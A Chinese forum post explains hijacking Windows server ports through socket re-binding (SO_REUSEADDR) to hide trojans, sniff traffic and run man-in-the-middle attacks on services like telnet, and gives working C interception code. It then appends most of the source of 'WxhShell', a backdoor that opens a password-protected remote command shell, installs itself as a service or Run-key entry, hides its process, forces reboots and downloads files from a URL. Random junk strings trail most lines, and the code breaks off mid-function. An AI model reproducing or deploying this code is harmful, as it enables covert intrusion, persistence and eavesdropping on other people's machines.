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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k9Yr&8B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ' Bdvqq  
'\ 6.GP  
  saddr.sin_family = AF_INET; /GCSC8T  
Qa"R?dfr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $k}+,tHtJO  
W6]iJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _"z#I CT(  
:Rq@%rL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f61~%@fE  
=axi0q?}  
  这意味着什么?意味着可以进行如下的攻击: S0kH/A  
[_b10Z'{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,![C8il,  
JB* *z00;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y:pypuwt;  
Be?mIwc_g  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,P5HR+h  
-@AGQ+e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6`%}s3Xq  
+}z T][9w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8CMI\yk  
QULrE+@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4yjAi@ /2  
W5sVQ`S-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P]INYH  
!'n+0  
  #include Qg1LT8  
  #include cj5p I?@e)  
  #include :qw:)i  
  #include    \b~zyt6-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vE{QN<6T  
  int main() %lEPFp  
  { 4oCn F+(  
  WORD wVersionRequested; x4fLe5xv  
  DWORD ret; |1rBK.8  
  WSADATA wsaData; c a$D|3  
  BOOL val; R?^FO:nM%!  
  SOCKADDR_IN saddr; -cJ(iz9!  
  SOCKADDR_IN scaddr; iSHNt0Nl  
  int err; 2{ }5WH  
  SOCKET s; A@&+!sO  
  SOCKET sc; +Hv%m8'0|  
  int caddsize; Pq;1EI  
  HANDLE mt; +X.iJ$)  
  DWORD tid;   )WuuU [(  
  wVersionRequested = MAKEWORD( 2, 2 ); <g,xc)[  
  err = WSAStartup( wVersionRequested, &wsaData ); /V:%}Z  
  if ( err != 0 ) { R],,-  
  printf("error!WSAStartup failed!\n"); C\E Z8  
  return -1; 33-=Z9|r  
  } >}_c<`:  
  saddr.sin_family = AF_INET; + ^4"  
   dqPJ 2j $\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i_f"?X;D  
l,pq;>c9a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u V=rLDY  
  saddr.sin_port = htons(23); D[yaAG<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W9.Z hpM  
  { Bqa%L.N2SS  
  printf("error!socket failed!\n"); ;Mw9}Reh@  
  return -1; -O. MfI+  
  } pHKj*Y  
  val = TRUE; nhQ.U>&-M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9?l( }S`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (#7pGGp*E  
  { #_4L/LV  
  printf("error!setsockopt failed!\n"); `7+?1 z  
  return -1; 2VMau.eQ  
  } YIt:_][*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mn4j#-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mqwN<:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pLrNYo*d  
Yb414K  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'j>^L  
  { 90teXxg=|  
  ret=GetLastError(); P?\rRB  
  printf("error!bind failed!\n"); cXtL3T+  
  return -1; Xs*~ [k'  
  } Mx0c # d.  
  listen(s,2); ^:LF  
  while(1) r'w5i1C+  
  { Zo'lvOpyZ  
  caddsize = sizeof(scaddr); *Cj]j-  
  //接受连接请求 ?9 2+(s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y~gpiL3u  
  if(sc!=INVALID_SOCKET) K\=bpc"Fy  
  { bbS'ZkB\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); > aN@)=h}  
  if(mt==NULL) eGtIVY/D  
  { 6R dfF$f  
  printf("Thread Creat Failed!\n"); ';zLh  
  break; [Zi\L>PHO  
  } Y==# yNwM  
  } SAly~(r?/  
  CloseHandle(mt); |M0 XLCNd_  
  } v;jrAND  
  closesocket(s); u&r @@p.  
  WSACleanup(); 5as';1^P&*  
  return 0; HwM:bY N  
  }   ~"+[VE5  
  DWORD WINAPI ClientThread(LPVOID lpParam) RSzp-sKB  
  { @DY0Lz;  
  SOCKET ss = (SOCKET)lpParam; v>7tJ[s  
  SOCKET sc; {tF=c0Z  
  unsigned char buf[4096]; e7pN9tXGf  
  SOCKADDR_IN saddr; mpK|I|-   
  long num; t[)z/[ m  
  DWORD val; (;C_>EL&u  
  DWORD ret; \MK)dj5uUJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .#rI9op  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /O/u5P{J  
  saddr.sin_family = AF_INET; z}OY'}sk8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &!KJrQ  
  saddr.sin_port = htons(23); # |w,^tV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rx|/]NE;  
  { JnV$)EYi  
  printf("error!socket failed!\n"); ",Ek| z  
  return -1;  //K]zu  
  } tj{rSg7{  
  val = 100; sfa T`q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~O |j*T  
  { +- c#UO>  
  ret = GetLastError(); qt/"$6]%  
  return -1; <$,i Yx   
  } y)Ip\.KV\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E5-8tHV   
  { 7o0e j#  
  ret = GetLastError(); klv^310  
  return -1; izmL8U ?t  
  } + +D(P=4hi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T*|?]k 8@*  
  { V +*Vi^  
  printf("error!socket connect failed!\n"); QBai;p{  
  closesocket(sc); .:l78>f  
  closesocket(ss); .Uha%~%  
  return -1; u&2uQ-T0  
  } [C P V5\2  
  while(1) Hagj^8  
  { ?8YHz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c\]h YKA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 89+m?H]K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9FH=Jp  
  num = recv(ss,buf,4096,0); 93[`1_q7\  
  if(num>0) ]+d.X]   
  send(sc,buf,num,0); /DZKz"N  
  else if(num==0) %C'!L]#  
  break; ctH`71Y  
  num = recv(sc,buf,4096,0); )wSsxX7:  
  if(num>0) >SSF:hI"J  
  send(ss,buf,num,0); D#^v=U  
  else if(num==0) Vk{0)W7  
  break; %0fj~s;  
  } 3PI{LU  
  closesocket(ss); f^m8 4o'  
  closesocket(sc); VUagZ 7p  
  return 0 ; Z+I[  
  } 'X@j  
mbJ#-^}V  
VEE:Z^U!  
========================================================== j"}alS`-  
AP/tBC eM  
下边附上一个代码,,WXhSHELL ~`8`kk8  
j31 Sc3vG  
========================================================== yd`.Rb&V  
f0MHh5  
#include "stdafx.h" -`f JhQ|  
l.>QO ;  
#include <stdio.h> \HTXl]  
#include <string.h> 6i{W=$ RQ  
#include <windows.h> aHwrFkn  
#include <winsock2.h> Ms^,]Q1{  
#include <winsvc.h> kmo3<'j{  
#include <urlmon.h> -L1{0{Z  
;Q? Qwda  
#pragma comment (lib, "Ws2_32.lib") N ?0V0B  
#pragma comment (lib, "urlmon.lib") )v0m7L v#/  
cz&FOP+!  
#define MAX_USER   100 // 最大客户端连接数 E xY ~.  
#define BUF_SOCK   200 // sock buffer zF\k*B  
#define KEY_BUFF   255 // 输入 buffer ]>*Z 1g;  
]#+fQR$!  
#define REBOOT     0   // 重启 xqM R[W\x  
#define SHUTDOWN   1   // 关机 'rq [P",  
0m51nw~B  
#define DEF_PORT   5000 // 监听端口 a"#5JcR3  
j.AAY?L  
#define REG_LEN     16   // 注册表键长度 %J2u+K  
#define SVC_LEN     80   // NT服务名长度 YX@[z 5*  
 mEhVc!  
// 从dll定义API R &T(S  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q 4_j`q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g%[lUxL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `4(k ?Pk2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -zG/@.  
0'VwObq  
// wxhshell配置信息 m|=/|Hm  
struct WSCFG { Bam7^g'*!3  
  int ws_port;         // 监听端口 XZIj' a0d  
  char ws_passstr[REG_LEN]; // 口令 y*|"!FK  
  int ws_autoins;       // 安装标记, 1=yes 0=no Be0P[v  
  char ws_regname[REG_LEN]; // 注册表键名 (MwB% g  
  char ws_svcname[REG_LEN]; // 服务名 }$81FSKh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )P\ec  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GP`_R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '0/t|V<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8[2^`g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5 E DGl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :|N5fkhN  
A4 o'EQ?~  
}; LUw0MW(Moi  
~{RXc+  
// default Wxhshell configuration [fO \1J  
struct WSCFG wscfg={DEF_PORT, ?w /tq!  
    "xuhuanlingzhe", SP5/K3t-*  
    1, /R 2:Js  
    "Wxhshell", u@[D*c1!H  
    "Wxhshell", vKol@7%N  
            "WxhShell Service", PL%_V ?z  
    "Wrsky Windows CmdShell Service", nuhKM.a{  
    "Please Input Your Password: ", &kYg >X  
  1, }3=]1jH6  
  "http://www.wrsky.com/wxhshell.exe", DoNbCVZ  
  "Wxhshell.exe" G|IO~o0+  
    }; I:bi8D6  
vezX/xD?  
// 消息定义模块 VmV/~-<Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n\wO[l)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z5_U D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iS=} | 8"  
char *msg_ws_ext="\n\rExit."; 4CfPa6_  
char *msg_ws_end="\n\rQuit."; }(20MW8rMc  
char *msg_ws_boot="\n\rReboot..."; |V%Qp5 XJ  
char *msg_ws_poff="\n\rShutdown..."; $(.[b][S  
char *msg_ws_down="\n\rSave to "; ZU7,=B=  
^hRos  
char *msg_ws_err="\n\rErr!"; lUUeM\  
char *msg_ws_ok="\n\rOK!"; |4ONGU*`E  
X0Xs"--}  
char ExeFile[MAX_PATH]; 7L? ~;;L$  
int nUser = 0; {b= ]JPE  
HANDLE handles[MAX_USER]; DY0G ;L 3  
int OsIsNt; zF3fpEKe  
|jO&qT]{  
SERVICE_STATUS       serviceStatus; :a[L-lr`e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :W-"UW,  
g}P.ksM  
// 函数声明 Jc(tV(z  
int Install(void); yG2j!D  
int Uninstall(void); Z &/b p1  
int DownloadFile(char *sURL, SOCKET wsh); SA)}---"  
int Boot(int flag); #3\F<AJ<VB  
void HideProc(void); u])N^AY"sj  
int GetOsVer(void); *";,HG?|Iz  
int Wxhshell(SOCKET wsl); Ql3hq.E  
void TalkWithClient(void *cs); AEe*A+  
int CmdShell(SOCKET sock); 8;-a_VjA)  
int StartFromService(void); >N{K)a  
int StartWxhshell(LPSTR lpCmdLine); j#Bea ,  
wh[XJ_xY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 11Pm lzy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mJ)o-BV  
4{[Df$'e>  
// 数据结构和表定义 jf~/x>Q  
SERVICE_TABLE_ENTRY DispatchTable[] = w=e~ M  
{ T&fqn!i  
{wscfg.ws_svcname, NTServiceMain}, ZG H2  
{NULL, NULL} |Q?IV5%$  
}; tTX2>8Gmr  
aS-rRL|\L  
// 自我安装 BD\xUjd?)Q  
int Install(void) R'uM7,7  
{ q6%jCt2'  
  char svExeFile[MAX_PATH]; `Q' 0l},  
  HKEY key; 0 ua.aL'  
  strcpy(svExeFile,ExeFile); zdlysr#  
hwSn?bkw  
// 如果是win9x系统,修改注册表设为自启动 )apqL{u:=  
if(!OsIsNt) { -;Y*;xe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c7[|x%~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9EIHcUXe  
  RegCloseKey(key); ,mx>)} l95  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )k.;.7dXe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ))K3pKyb  
  RegCloseKey(key); ^uD r  
  return 0; /608P:U  
    } V{HP8f91  
  } g0: mm,t\  
} R0B\| O0Uv  
else { 2E9Cp  
WSz#g2a  
// 如果是NT以上系统,安装为系统服务 xrFFmQ<_W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )}0(7z Yu  
if (schSCManager!=0) j,Eo/f+j5  
{ ] bz']`  
  SC_HANDLE schService = CreateService  {F+7> X  
  ( }q^M  
  schSCManager, `b=?z%LuT  
  wscfg.ws_svcname, :,h47'0A  
  wscfg.ws_svcdisp, PmZ-H>  
  SERVICE_ALL_ACCESS, y)0r%=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vUk <z*  
  SERVICE_AUTO_START, 5A g 4o  
  SERVICE_ERROR_NORMAL, 7q&Ru|T33  
  svExeFile, .z^ePZ|mV  
  NULL, }te\) Yk.N  
  NULL, Uf}s6#   
  NULL, F.<sKQ&A  
  NULL, l{[{pAm  
  NULL R4.$9_ ui  
  ); D1}Bn2BM$  
  if (schService!=0) Rq-BsMX!A  
  { ,_,Z<X/  
  CloseServiceHandle(schService); T>7$<ulm  
  CloseServiceHandle(schSCManager); \DI%/(?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <7NY.zvwk]  
  strcat(svExeFile,wscfg.ws_svcname); ae`*0wbv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :P1 J>dcG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _z4c7_H3  
  RegCloseKey(key); 8=Xy19<;t  
  return 0; s.d }*H-o  
    } OSY$qL2  
  } 'H+H4(  
  CloseServiceHandle(schSCManager); />=)=CGv;  
} ..`J-k  
} hK5BOq!y  
o?BcpWp  
return 1; :s`~m;Y9?  
} r-&Rjg  
DgQw`D)+  
// 自我卸载 H`odQkZ!  
int Uninstall(void) `CP# S7W^  
{ Xxhzzm-B  
  HKEY key; 00X~/'!  
Wnm?a!j5  
if(!OsIsNt) { UIPi<_Xa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { owM3Gz%?UA  
  RegDeleteValue(key,wscfg.ws_regname); biLx-F c  
  RegCloseKey(key); A Ch!D>C1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -LI^(_  
  RegDeleteValue(key,wscfg.ws_regname); 4iMo&E<  
  RegCloseKey(key); BQmHYar  
  return 0; CV&+^_j'k  
  } wQ]!Y ?I  
} n]c6nX:'  
} wQ-pIi{G  
else { ^NwXvp>7-  
p B*8D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); US3rkkgDO  
if (schSCManager!=0) lM oi5q  
{ `/$yCXy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :$4 atm  
  if (schService!=0) rG)K?B~  
  { /R\]tl#2j  
  if(DeleteService(schService)!=0) { Z7>pz:,  
  CloseServiceHandle(schService); jYE<d&Cq  
  CloseServiceHandle(schSCManager); {/d<Jm:  
  return 0; pm`BMy<5PU  
  } *Y'nDv6_P  
  CloseServiceHandle(schService); H*s_A/$  
  } <\40?*2  
  CloseServiceHandle(schSCManager); O1!hSu&  
} 0$Rl78>(  
} $ <'i+kK  
z !2-U  
return 1; ;n1< 1M>!  
} ]'+PJdA  
c4H5[LPF  
// 从指定url下载文件 c%,@O&o  
int DownloadFile(char *sURL, SOCKET wsh) ' e @`HG  
{ {BB#Bh[  
  HRESULT hr; 0* 7N=  
char seps[]= "/"; lAYyxG#  
char *token; K`}8fU   
char *file; 36MqEUjyB  
char myURL[MAX_PATH]; B q/<kEgM  
char myFILE[MAX_PATH]; =LLix . >  
E$!0h_.(  
strcpy(myURL,sURL); nM]Sb|1:  
  token=strtok(myURL,seps); -!w({rP  
  while(token!=NULL) qI (<5Wxl  
  { :K J#_y\rt  
    file=token; )> >Tj7  
  token=strtok(NULL,seps); phkfPvL{  
  } W>[0u3  
;J<K/YdI  
GetCurrentDirectory(MAX_PATH,myFILE); 4I&e_b< 30  
strcat(myFILE, "\\"); .%Pt[VQ  
strcat(myFILE, file); 5MU-Eu|*>  
  send(wsh,myFILE,strlen(myFILE),0); dZ]['y%  
send(wsh,"...",3,0); e0rh~@E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Qy< ~{6V  
  if(hr==S_OK) ICq  
return 0; F<R+]M:fa  
else 0_\@!#-sml  
return 1; x$p_mWC  
BF >67 8h  
} D=ZH? d  
"}/$xOl"  
// 系统电源模块 :<Z>?x  
int Boot(int flag) :`U@b 6  
{ ,e]|[,r#5  
  HANDLE hToken; uKOsYN%D  
  TOKEN_PRIVILEGES tkp; \Z~|ry0v{d  
f&5'1tG  
  if(OsIsNt) { cviPCjM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O4Z_v%2M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v2ab  
    tkp.PrivilegeCount = 1; QY)hMo=|o8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R#8.]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z@i"/~B|4\  
if(flag==REBOOT) { pGO=3=O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qukym3F  
  return 0; yxz)32B?  
} Wra$  
else { Xu[(hT6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qhE1 7Hf  
  return 0; ^}VAH#c  
} ph5rS<  
  } CN(}0/  
  else { [9c|!w^F  
if(flag==REBOOT) { c}$C=s5 h}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +c+i~5B4  
  return 0; j2dptM3t{  
} Wjf,AjL\  
else { J/T$.*X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r:xbs0 7  
  return 0; cJ ^:b4j  
} JJE3\  
} T ?HG}(2  
j*7#1<T  
return 1;  -9f+O^x  
} lPBWpHX  
#.KVT#%~{  
// win9x进程隐藏模块 7~f"8\  
void HideProc(void) ,\]`X7r  
{ WciL zx/  
)fGIe rS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3 *g>kRMJ  
  if ( hKernel != NULL ) ;5cN o&  
  { ZUg ~8VVe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q)lN7oD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mBtXa|PJ  
    FreeLibrary(hKernel); ]i)g!J8f-  
  } sFrerv&0  
78u9> H  
return; iCZuE:I1K,  
} YU]|N 'mL2  
zxD~W"R:s  
// 获取操作系统版本 ~R+,4  
int GetOsVer(void) Dwx^hNh  
{ !XtZI3Xu  
  OSVERSIONINFO winfo; &[Zg;r    
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); awC:{5R8v  
  GetVersionEx(&winfo); 3<"!h1x5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1+Z@4;fk  
  return 1; cOa){&u  
  else x 8_nLZ  
  return 0; *ydh.R<hb  
} 8hZY Z /T  
7A=*3  
// 客户端句柄模块 D\@)*"  
int Wxhshell(SOCKET wsl) zn3]vU!  
{ ]iq2_{q  
  SOCKET wsh; ag* 5fBF  
  struct sockaddr_in client; Y<WA-dYoF  
  DWORD myID; >;NiG)Z  
XusTU  
  while(nUser<MAX_USER) T=W;k<P\k  
{ s` $YY_  
  int nSize=sizeof(client); mzGMYi*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0nu&JQ  
  if(wsh==INVALID_SOCKET) return 1; b;2[E/JKB  
+qiI;C_P\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -(Fhj Ir  
if(handles[nUser]==0) n@PXC8}  
  closesocket(wsh); f [DZ  
else *u)#yEJ)  
  nUser++; QNcbl8@  
  } Ij{ K\{y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tso\bxiU  
~:xR0dqx  
  return 0; `=.A]) >  
} k>V~ iA  
.Z9{\tj  
// 关闭 socket <t"KNKI  
void CloseIt(SOCKET wsh) .Y*jL&!  
{ 2E$K='H:,  
closesocket(wsh); v1aE[Q  
nUser--; b+tm[@|,v  
ExitThread(0); 4R&e5!  
} dm~Uj  
p?H2W-  
// 客户端请求句柄 ZP(T=Q  
void TalkWithClient(void *cs) p\G1O*Z  
{ WMXxP gik  
h~r&7G@[}  
  SOCKET wsh=(SOCKET)cs; ~R*01AnZ  
  char pwd[SVC_LEN]; (/^dyG|X'  
  char cmd[KEY_BUFF]; 3;<Vv*a"Dm  
char chr[1]; I*`;1+`  
int i,j; %c-T Gr,  
`#c36  
  while (nUser < MAX_USER) { JF6=0  
.:(T}\]R  
if(wscfg.ws_passstr) { r=4vN=:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *!c&[- g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'S'Z-7h>0  
  //ZeroMemory(pwd,KEY_BUFF); #J`M R05  
      i=0; @;b @O _  
  while(i<SVC_LEN) { 9lR-  
A2p]BW&  
  // 设置超时 RemjiCE0'  
  fd_set FdRead; "*HVL  
  struct timeval TimeOut; -A(]U"@n  
  FD_ZERO(&FdRead); ('oA{,#L  
  FD_SET(wsh,&FdRead); 4DV@-  
  TimeOut.tv_sec=8; j9g0k<eg  
  TimeOut.tv_usec=0; K4vOy_wT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  8\Uy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gaC [%M  
h~-cnAMt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |FP@NUX\  
  pwd=chr[0]; Cb i;CF\{  
  if(chr[0]==0xd || chr[0]==0xa) { k* e $_  
  pwd=0; ]uZaj?%J<  
  break; Dk#4^`qp1  
  } pdq5EUdS  
  i++; SpA-E/el  
    } |rL#HG  
O3En+m~3n)  
  // 如果是非法用户,关闭 socket t+t D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qL2Sv(A Z!  
} D^<5gRK?  
)>r sX)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mXJ`t5v^l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D`hg+64}  
8\BYm|%aa  
while(1) { _BPp=(|  
,wB)hp  
  ZeroMemory(cmd,KEY_BUFF); L 4Sa,ZL  
@E%f AC  
      // 自动支持客户端 telnet标准   -Zfq:Kr  
  j=0; `6FH@" |I  
  while(j<KEY_BUFF) { f =kt0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [t+qYe8  
  cmd[j]=chr[0]; P,*yuF|bk  
  if(chr[0]==0xa || chr[0]==0xd) { = 6.i.(L_S  
  cmd[j]=0; N D1'XCN  
  break; z:W|GDD1  
  } ,#8H9<O9t  
  j++; .-?Txkwb  
    } x#jJ 0T  
yGE)EBH  
  // 下载文件 3!Cab/T  
  if(strstr(cmd,"http://")) { &2//\Qz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }@<Ru  
  if(DownloadFile(cmd,wsh)) L',7@W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TFYp=xK(  
  else VmP5`):?b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /ULO#CN?;  
  } $LHF=tYS  
  else { 7i0;Ss*  
r [4dGt  
    switch(cmd[0]) { ,nGZ( EBD  
  K'zBDrkW-x  
  // 帮助 o)sX?IiC  
  case '?': { h{.x:pPXy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .&;:X )  
    break; GN=-dLN  
  } ~4=XYYcka  
  // 安装 iL;{]A'0  
  case 'i': { t`G<}t  
    if(Install()) sHm :G_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CW'<Nh  
    else 4R28S]Gb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B/gI~e0  
    break; :r+F95e  
    } a8cX {6  
  // 卸载 C sx EN4  
  case 'r': { Z/+H  
    if(Uninstall()) 22gh,e2o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6bd{3@   
    else \$Aw[ 5&t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m4 :"c"  
    break; IvJ5J&!  
    } Cg&:+  
  // 显示 wxhshell 所在路径 F0tx.]uS  
  case 'p': { a~A"uLBR  
    char svExeFile[MAX_PATH]; g<s;uRA4O9  
    strcpy(svExeFile,"\n\r"); TykY>cl   
      strcat(svExeFile,ExeFile); KYC<*1k  
        send(wsh,svExeFile,strlen(svExeFile),0); U{PFeR,Uk  
    break; 9ve)+Lk  
    } R/ 3#(5  
  // 重启 H':0  
  case 'b': { Oi$$vjs2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C`b)}dY  
    if(Boot(REBOOT)) gM_MK8py  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :8l#jU `y  
    else { ]:Sb#=,!&!  
    closesocket(wsh); g]m}@b6(h  
    ExitThread(0); 3Nk )  
    } ?7Skk  
    break; ]6;oS-4gu?  
    } ]Ag{#GJ5D  
  // 关机 (tz fyZ M  
  case 'd': { xG|n7w*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^k4 n  
